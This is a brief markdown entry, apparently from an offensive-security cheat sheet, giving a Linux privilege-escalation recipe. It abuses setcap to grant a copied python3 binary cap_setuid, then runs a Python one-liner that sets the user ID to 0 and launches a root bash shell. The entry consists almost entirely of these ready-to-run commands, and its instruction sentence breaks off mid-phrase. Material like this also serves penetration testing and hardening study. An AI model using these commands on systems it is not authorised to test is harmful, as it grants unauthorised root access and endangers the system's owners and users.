killchain-compendium/Exploits/Linux/SetCap.md

370 B

setcap

Usage

  • If there is an S-bit or sudo on setcap do the following. Copy python binary and
setcap cap_setuid+ep /absolute/path/to/copied/python3 
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"